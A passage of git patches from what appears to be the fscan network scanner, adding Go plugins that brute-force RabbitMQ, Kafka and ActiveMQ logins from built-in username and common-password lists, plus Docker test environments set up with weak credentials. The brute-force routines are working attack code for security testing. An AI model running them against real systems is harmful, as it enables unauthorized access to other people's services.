"80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var AllPorts = "1-65535" -var MainPorts = "21,22,23,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" +var MainPorts = "21,22,23,80,81,135,139,443,445,1433,1521,3306,5432,5672,6379,7001,8000,8080,8089,9000,9200,11211,15672,27017" func ParsePortsFromString(portsStr string) []int { var ports []int diff --git a/Core/Registry.go b/Core/Registry.go index 51537c1..79394ab 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -67,6 +67,12 @@ func init() { ScanFunc: Plugins.ElasticScan, }) + Common.RegisterPlugin("rabbitmq", Common.ScanPlugin{ + Name: "RabbitMQ", + Ports: []int{5672, 5671, 15672, 15671}, // AMQP和管理端口 + ScanFunc: Plugins.RabbitMQScan, + }) + Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Ports: []int{3389}, diff --git a/Plugins/RabbitMQ.go b/Plugins/RabbitMQ.go new file mode 100644 index 0000000..8e2d3a3 --- /dev/null +++ b/Plugins/RabbitMQ.go @@ -0,0 +1,82 @@ +package Plugins + +import ( + "fmt" + amqp "github.com/rabbitmq/amqp091-go" + "github.com/shadow1ng/fscan/Common" + "net" + "strings" + "time" +) + +// RabbitMQScan 执行 RabbitMQ 服务扫描 +func RabbitMQScan(info *Common.HostInfo) (tmperr error) { + if Common.DisableBrute { + return + } + + starttime := time.Now().Unix() + + // 首先测试默认账户 guest/guest + flag, err := RabbitMQConn(info, "guest", "guest") + if flag && err == nil { + return err + } + + // 尝试用户名密码组合 + for _, user := range Common.Userdict["rabbitmq"] { + for _, pass := range Common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := RabbitMQConn(info, user, pass) + if flag && err == nil { + return err + } + + errlog := fmt.Sprintf("[-] RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["rabbitmq"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +// RabbitMQConn 尝试 RabbitMQ 连接 +func RabbitMQConn(info *Common.HostInfo, user string, pass string) (bool, error) { + host, port := info.Host, info.Ports + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造 AMQP URL + amqpURL := fmt.Sprintf("amqp://%s:%s@%s:%s/", user, pass, host, port) + + // 配置连接 + config := amqp.Config{ + Dial: func(network, addr string) (net.Conn, error) { + return net.DialTimeout(network, addr, timeout) + }, + } + + // 尝试连接 + conn, err := amqp.DialConfig(amqpURL, config) + if err != nil { + return false, err + } + defer conn.Close() + + // 如果成功连接 + if conn != nil { + result := fmt.Sprintf("[+] RabbitMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass) + Common.LogSuccess(result) + return true, nil + } + + return false, fmt.Errorf("认证失败") +} From eb1b0f32a61316892c1008aaeb7cc3d16719e0d6 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sun, 22 Dec 2024 02:58:55 +0800 Subject: [PATCH 118/188] =?UTF-8?q?refactor:=20=E9=87=8D=E6=9E=84=E6=89=AB?= =?UTF-8?q?=E6=8F=8F=E6=A8=A1=E5=BC=8F=E9=80=BB=E8=BE=91?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Core/Scanner.go | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/Core/Scanner.go b/Core/Scanner.go index 0c059da..9ae8d8a 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -110,14 +110,16 @@ func prepareTargetInfos(alivePorts []string, baseInfo Common.HostInfo) []Common. func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { mode := Common.GetScanMode() var pluginsToRun []string + isSinglePlugin := false // 获取要执行的插件列表 if plugins := Common.GetPluginsForMode(mode); plugins != nil { // 预设模式下使用配置的插件组 pluginsToRun = plugins } else { - // 单插件模式下只包含指定的插件 + // 单插件模式 pluginsToRun = []string{mode} + isSinglePlugin = true } // 统一处理所有目标和插件 @@ -133,14 +135,19 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro // 本地扫描模式的特殊处理 if Common.LocalScan { - // 只执行没有端口配置的插件 if len(plugin.Ports) == 0 { AddScan(pluginName, target, ch, wg) } continue } - // 非本地扫描模式的常规处理 + // 单插件模式直接执行,不检查端口 + if isSinglePlugin { + AddScan(pluginName, target, ch, wg) + continue + } + + // 预设模式下的常规处理 if len(plugin.Ports) > 0 { if plugin.HasPort(targetPort) { AddScan(pluginName, target, ch, wg) From 70d008ba699a5a435cd8ce0ec77e692c1a0634ab Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sun, 22 Dec 2024 03:03:42 +0800 Subject: [PATCH 119/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0RabbitMQ?= =?UTF-8?q?=E6=B5=8B=E8=AF=95=E7=8E=AF=E5=A2=83?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/RabbitMQ/Dockerfile | 10 ++++++++++ TestDocker/RabbitMQ/README.txt | 2 ++ 2 files changed, 12 insertions(+) create mode 100644 TestDocker/RabbitMQ/Dockerfile create mode 100644 TestDocker/RabbitMQ/README.txt diff --git a/TestDocker/RabbitMQ/Dockerfile b/TestDocker/RabbitMQ/Dockerfile new file mode 100644 index 0000000..88a38db --- /dev/null +++ b/TestDocker/RabbitMQ/Dockerfile @@ -0,0 +1,10 @@ +FROM rabbitmq:3-management + +# 环境变量设置默认的用户名和密码 +ENV RABBITMQ_DEFAULT_USER=admin +ENV RABBITMQ_DEFAULT_PASS=123456 + +# 开放标准端口 +# 5672: AMQP 协议端口 +# 15672: HTTP API 端口和管理UI +EXPOSE 5672 15672 \ No newline at end of file diff --git a/TestDocker/RabbitMQ/README.txt b/TestDocker/RabbitMQ/README.txt new file mode 100644 index 0000000..02db090 --- /dev/null +++ b/TestDocker/RabbitMQ/README.txt @@ -0,0 +1,2 @@ +docker build -t rabbitmq-weak . +docker run -d --name rabbitmq-test -p 5672:5672 -p 15672:15672 rabbitmq-weak \ No newline at end of file From cfea0afd9ce9a84469b45f4c3346e7575e506654 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sun, 22 Dec 2024 03:18:46 +0800 Subject: [PATCH 120/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0Kafka?= =?UTF-8?q?=E6=89=AB=E6=8F=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/ParseScanMode.go | 4 +- Common/Ports.go | 6 +-- Core/Registry.go | 6 +++ Plugins/Kafka.go | 101 ++++++++++++++++++++++++++++++++++++++++ 4 files changed, 112 insertions(+), 5 deletions(-) create mode 100644 Plugins/Kafka.go diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index 4493e6d..a5f78ec 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -20,7 +20,7 @@ var pluginGroups = map[string][]string{ ModeAll: { "web", "fcgi", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 - "oracle", "memcached", "elasticsearch", "rabbitmq", // 数据库类 + "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", // 数据库类 "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", // 服务类 "ms17010", "smbghost", "smb2", // 漏洞类 "findnet", "wmiexec", // 其他 @@ -30,7 +30,7 @@ var pluginGroups = map[string][]string{ }, ModeDatabase: { "mysql", "mssql", "redis", "mongodb", - "postgres", "oracle", "memcached", "elasticsearch", "rabbitmq", + "postgres", "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", }, ModeWeb: { "web", "fcgi", diff --git a/Common/Ports.go b/Common/Ports.go index 12ed401..3e974a1 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -5,11 +5,11 @@ import ( "strings" ) -var ServicePorts = "21,22,23,135,139,445,1433,1521,2222,3306,3389,5432,5672,5671,6379,9000,9200,11211,15672,15671,27017" -var DbPorts = "1433,1521,3306,5432,5672,6379,9200,11211,27017" +var ServicePorts = "21,22,23,135,139,445,1433,1521,2222,3306,3389,5432,5672,5671,6379,9000,9092,9093,9200,11211,15672,15671,27017" +var DbPorts = "1433,1521,3306,5432,5672,6379,9093,9200,11211,27017" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var AllPorts = "1-65535" -var MainPorts = "21,22,23,80,81,135,139,443,445,1433,1521,3306,5432,5672,6379,7001,8000,8080,8089,9000,9200,11211,15672,27017" +var MainPorts = "21,22,23,80,81,135,139,443,445,1433,1521,3306,5432,5672,6379,7001,8000,8080,8089,9000,9200,9092,11211,15672,27017" func ParsePortsFromString(portsStr string) []int { var ports []int diff --git a/Core/Registry.go b/Core/Registry.go index 79394ab..78effe3 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -73,6 +73,12 @@ func init() { ScanFunc: Plugins.RabbitMQScan, }) + Common.RegisterPlugin("kafka", Common.ScanPlugin{ + Name: "Kafka", + Ports: []int{9092, 9093}, // Kafka默认端口和SSL端口 + ScanFunc: Plugins.KafkaScan, + }) + Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Ports: []int{3389}, diff --git a/Plugins/Kafka.go b/Plugins/Kafka.go new file mode 100644 index 0000000..bb2ce82 --- /dev/null +++ b/Plugins/Kafka.go @@ -0,0 +1,101 @@ +package Plugins + +import ( + "fmt" + "github.com/IBM/sarama" + "github.com/shadow1ng/fscan/Common" + "strings" + "time" +) + +// KafkaScan 执行 Kafka 服务扫描 +func KafkaScan(info *Common.HostInfo) (tmperr error) { + if Common.DisableBrute { + return + } + + starttime := time.Now().Unix() + + // 首先测试无认证访问 + flag, err := KafkaConn(info, "", "") + if flag && err == nil { + return err + } + + // 尝试用户名密码组合 + for _, user := range Common.Userdict["kafka"] { + for _, pass := range Common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := KafkaConn(info, user, pass) + if flag && err == nil { + return err + } + + errlog := fmt.Sprintf("[-] Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["kafka"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +// KafkaConn 尝试 Kafka 连接 +func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) { + host, port := info.Host, info.Ports + timeout := time.Duration(Common.Timeout) * time.Second + + // 配置Kafka客户端 + config := sarama.NewConfig() + config.Net.DialTimeout = timeout + + // 禁用TLS + config.Net.TLS.Enable = false + config.Version = sarama.V2_0_0_0 // 设置一个通用版本 + + // 如果提供了认证信息 + if user != "" || pass != "" { + config.Net.SASL.Enable = true + config.Net.SASL.Mechanism = sarama.SASLTypePlaintext + config.Net.SASL.User = user + config.Net.SASL.Password = pass + } + + // 构造broker列表 + brokers := []string{fmt.Sprintf("%s:%s", host, port)} + + // 尝试创建客户端 + client, err := sarama.NewClient(brokers, config) + if err != nil { + return false, err + } + defer client.Close() + + // 尝试获取topics列表来验证连接 + topics, err := client.Topics() + if err != nil { + return false, err + } + + // 如果成功连接并获取topics + if len(topics) >= 0 { + result := fmt.Sprintf("[+] Kafka服务 %v:%v ", host, port) + if user != "" { + result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) + } else { + result += "无需认证即可访问" + } + Common.LogSuccess(result) + return true, nil + } + + return false, fmt.Errorf("认证失败") +} From 1b9c9a00fe87c660a203fb6aa14f2ecb8217997f Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sun, 22 Dec 2024 03:28:35 +0800 Subject: [PATCH 121/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0Kafka?= =?UTF-8?q?=E6=B5=8B=E8=AF=95=E7=8E=AF=E5=A2=83?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/Kafka/README.txt | 1 + TestDocker/Kafka/docker-compose.yml | 28 ++++++++++++++++++++++++++++ TestDocker/Kafka/kafka_jaas.conf | 8 ++++++++ 3 files changed, 37 insertions(+) create mode 100644 TestDocker/Kafka/README.txt create mode 100644 TestDocker/Kafka/docker-compose.yml create mode 100644 TestDocker/Kafka/kafka_jaas.conf diff --git a/TestDocker/Kafka/README.txt b/TestDocker/Kafka/README.txt new file mode 100644 index 0000000..5177d11 --- /dev/null +++ b/TestDocker/Kafka/README.txt @@ -0,0 +1 @@ +docker-compose up -d \ No newline at end of file diff --git a/TestDocker/Kafka/docker-compose.yml b/TestDocker/Kafka/docker-compose.yml new file mode 100644 index 0000000..bf7b3e5 --- /dev/null +++ b/TestDocker/Kafka/docker-compose.yml @@ -0,0 +1,28 @@ +# docker-compose.yml +version: '3' +services: + zookeeper: + image: bitnami/zookeeper:latest + environment: + - ALLOW_ANONYMOUS_LOGIN=yes + ports: + - "2181:2181" + + kafka: + image: bitnami/kafka:latest + ports: + - "9092:9092" + environment: + - KAFKA_CFG_ZOOKEEPER_CONNECT=zookeeper:2181 + - KAFKA_CFG_LISTENERS=SASL_PLAINTEXT://:9092 + - KAFKA_CFG_ADVERTISED_LISTENERS=SASL_PLAINTEXT://localhost:9092 + - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=SASL_PLAINTEXT:SASL_PLAINTEXT + - KAFKA_CFG_SASL_ENABLED_MECHANISMS=PLAIN + - KAFKA_CFG_SASL_MECHANISM_INTER_BROKER_PROTOCOL=PLAIN + - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=SASL_PLAINTEXT + - KAFKA_OPTS=-Djava.security.auth.login.config=/opt/bitnami/kafka/config/kafka_jaas.conf + - ALLOW_PLAINTEXT_LISTENER=yes + volumes: + - ./kafka_jaas.conf:/opt/bitnami/kafka/config/kafka_jaas.conf + depends_on: + - zookeeper \ No newline at end of file diff --git a/TestDocker/Kafka/kafka_jaas.conf b/TestDocker/Kafka/kafka_jaas.conf new file mode 100644 index 0000000..e1b83df --- /dev/null +++ b/TestDocker/Kafka/kafka_jaas.conf @@ -0,0 +1,8 @@ +KafkaServer { + org.apache.kafka.common.security.plain.PlainLoginModule required + username="admin" + password="admin123" + user_admin="admin123" + user_test="test123" + user_kafka="kafka123"; +}; \ No newline at end of file From bbbc4317df74c60a65a54e36bc37b196bf8c23af Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sun, 22 Dec 2024 03:28:53 +0800 Subject: [PATCH 122/188] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8DKafka=E6=89=AB?= =?UTF-8?q?=E6=8F=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 1 + Plugins/Kafka.go | 51 +++++++++++++++++++++++++++--------------------- 2 files changed, 30 insertions(+), 22 deletions(-) diff --git a/Common/Config.go b/Common/Config.go index ad30d91..f9725bb 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -14,6 +14,7 @@ var Userdict = map[string][]string{ "telnet": {"root", "admin", "test"}, "elastic": {"elastic", "admin", "kibana"}, "rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"}, + "kafka": {"admin", "kafka", "root", "test"}, } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} diff --git a/Plugins/Kafka.go b/Plugins/Kafka.go index bb2ce82..698dcf1 100644 --- a/Plugins/Kafka.go +++ b/Plugins/Kafka.go @@ -53,40 +53,26 @@ func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) { host, port := info.Host, info.Ports timeout := time.Duration(Common.Timeout) * time.Second - // 配置Kafka客户端 config := sarama.NewConfig() config.Net.DialTimeout = timeout - - // 禁用TLS config.Net.TLS.Enable = false - config.Version = sarama.V2_0_0_0 // 设置一个通用版本 + config.Version = sarama.V2_0_0_0 - // 如果提供了认证信息 + // 设置 SASL 配置 if user != "" || pass != "" { config.Net.SASL.Enable = true config.Net.SASL.Mechanism = sarama.SASLTypePlaintext config.Net.SASL.User = user config.Net.SASL.Password = pass + config.Net.SASL.Handshake = true } - // 构造broker列表 brokers := []string{fmt.Sprintf("%s:%s", host, port)} - // 尝试创建客户端 - client, err := sarama.NewClient(brokers, config) - if err != nil { - return false, err - } - defer client.Close() - - // 尝试获取topics列表来验证连接 - topics, err := client.Topics() - if err != nil { - return false, err - } - - // 如果成功连接并获取topics - if len(topics) >= 0 { + // 尝试作为消费者连接测试 + consumer, err := sarama.NewConsumer(brokers, config) + if err == nil { + defer consumer.Close() result := fmt.Sprintf("[+] Kafka服务 %v:%v ", host, port) if user != "" { result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) @@ -97,5 +83,26 @@ func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) { return true, nil } - return false, fmt.Errorf("认证失败") + // 如果消费者连接失败,尝试作为客户端连接 + client, err := sarama.NewClient(brokers, config) + if err == nil { + defer client.Close() + result := fmt.Sprintf("[+] Kafka服务 %v:%v ", host, port) + if user != "" { + result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) + } else { + result += "无需认证即可访问" + } + Common.LogSuccess(result) + return true, nil + } + + // 检查错误类型 + if strings.Contains(err.Error(), "SASL") || + strings.Contains(err.Error(), "authentication") || + strings.Contains(err.Error(), "credentials") { + return false, fmt.Errorf("认证失败") + } + + return false, err } From 4d6b529768b613d1bc5b07de91d053db9f2f0b34 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sun, 22 Dec 2024 04:01:33 +0800 Subject: [PATCH 123/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0ActiveMQ?= =?UTF-8?q?=E6=89=AB=E6=8F=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 1 + Common/ParseScanMode.go | 4 +- Common/Ports.go | 6 +-- Core/Registry.go | 6 +++ Plugins/ActiveMQ.go | 97 +++++++++++++++++++++++++++++++++++++++++ 5 files changed, 109 insertions(+), 5 deletions(-) create mode 100644 Plugins/ActiveMQ.go diff --git a/Common/Config.go b/Common/Config.go index f9725bb..65a559e 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -15,6 +15,7 @@ var Userdict = map[string][]string{ "elastic": {"elastic", "admin", "kibana"}, "rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"}, "kafka": {"admin", "kafka", "root", "test"}, + "activemq": {"admin", "root", "activemq", "system", "user"}, } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index a5f78ec..6fbde5a 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -20,7 +20,7 @@ var pluginGroups = map[string][]string{ ModeAll: { "web", "fcgi", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 - "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", // 数据库类 + "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", // 数据库类 "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", // 服务类 "ms17010", "smbghost", "smb2", // 漏洞类 "findnet", "wmiexec", // 其他 @@ -30,7 +30,7 @@ var pluginGroups = map[string][]string{ }, ModeDatabase: { "mysql", "mssql", "redis", "mongodb", - "postgres", "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", + "postgres", "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", }, ModeWeb: { "web", "fcgi", diff --git a/Common/Ports.go b/Common/Ports.go index 3e974a1..e914eac 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -5,11 +5,11 @@ import ( "strings" ) -var ServicePorts = "21,22,23,135,139,445,1433,1521,2222,3306,3389,5432,5672,5671,6379,9000,9092,9093,9200,11211,15672,15671,27017" -var DbPorts = "1433,1521,3306,5432,5672,6379,9093,9200,11211,27017" +var ServicePorts = "21,22,23,135,139,445,1433,1521,2222,3306,3389,5432,5672,5671,6379,8161,9000,9092,9093,9200,11211,15672,15671,27017,61616,61613" +var DbPorts = "1433,1521,3306,5432,5672,6379,9093,9200,11211,27017,61616" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var AllPorts = "1-65535" -var MainPorts = "21,22,23,80,81,135,139,443,445,1433,1521,3306,5432,5672,6379,7001,8000,8080,8089,9000,9200,9092,11211,15672,27017" +var MainPorts = "21,22,23,80,81,135,139,443,445,1433,1521,3306,5432,5672,6379,7001,8000,8080,8089,9000,9200,9092,11211,15672,27017,61616" func ParsePortsFromString(portsStr string) []int { var ports []int diff --git a/Core/Registry.go b/Core/Registry.go index 78effe3..618c566 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -79,6 +79,12 @@ func init() { ScanFunc: Plugins.KafkaScan, }) + Common.RegisterPlugin("activemq", Common.ScanPlugin{ + Name: "ActiveMQ", + Ports: []int{61616, 61613}, + ScanFunc: Plugins.ActiveMQScan, + }) + Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Ports: []int{3389}, diff --git a/Plugins/ActiveMQ.go b/Plugins/ActiveMQ.go new file mode 100644 index 0000000..31b1ed6 --- /dev/null +++ b/Plugins/ActiveMQ.go @@ -0,0 +1,97 @@ +package Plugins + +import ( + "fmt" + "github.com/shadow1ng/fscan/Common" + "net" + "strings" + "time" +) + +// ActiveMQScan 执行 ActiveMQ 服务扫描 +func ActiveMQScan(info *Common.HostInfo) (tmperr error) { + if Common.DisableBrute { + return + } + + starttime := time.Now().Unix() + + // 首先测试默认账户 + flag, err := ActiveMQConn(info, "admin", "admin") + if flag { + return nil + } + tmperr = err + + // 尝试用户名密码组合 + for _, user := range Common.Userdict["activemq"] { + for _, pass := range Common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := ActiveMQConn(info, user, pass) + if flag { + return nil + } + + errlog := fmt.Sprintf("[-] ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["activemq"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +// ActiveMQConn 统一的连接测试函数 +func ActiveMQConn(info *Common.HostInfo, user string, pass string) (bool, error) { + timeout := time.Duration(Common.Timeout) * time.Second + addr := fmt.Sprintf("%s:%s", info.Host, info.Ports) + + conn, err := net.DialTimeout("tcp", addr, timeout) + if err != nil { + return false, err + } + defer conn.Close() + + // STOMP协议的CONNECT命令 + stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00", user, pass) + + // 发送认证请求 + conn.SetWriteDeadline(time.Now().Add(timeout)) + if _, err := conn.Write([]byte(stompConnect)); err != nil { + return false, err + } + + // 读取响应 + conn.SetReadDeadline(time.Now().Add(timeout)) + respBuf := make([]byte, 1024) + n, err := conn.Read(respBuf) + if err != nil { + return false, err + } + + // 检查认证结果 + response := string(respBuf[:n]) + + if strings.Contains(response, "CONNECTED") { + result := fmt.Sprintf("[+] ActiveMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", + info.Host, info.Ports, user, pass) + Common.LogSuccess(result) + return true, nil + } + + if strings.Contains(response, "Authentication failed") || + strings.Contains(response, "ERROR") { + return false, fmt.Errorf("认证失败") + } + + return false, fmt.Errorf("未知响应: %s", response) +} From f06013326f31dfc8a121fe6939ad6a9cfcb07db1 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sun, 22 Dec 2024 04:01:41 +0800 Subject: [PATCH 124/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0ActiveMQ?= =?UTF-8?q?=E6=B5=8B=E8=AF=95=E7=8E=AF=E5=A2=83?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 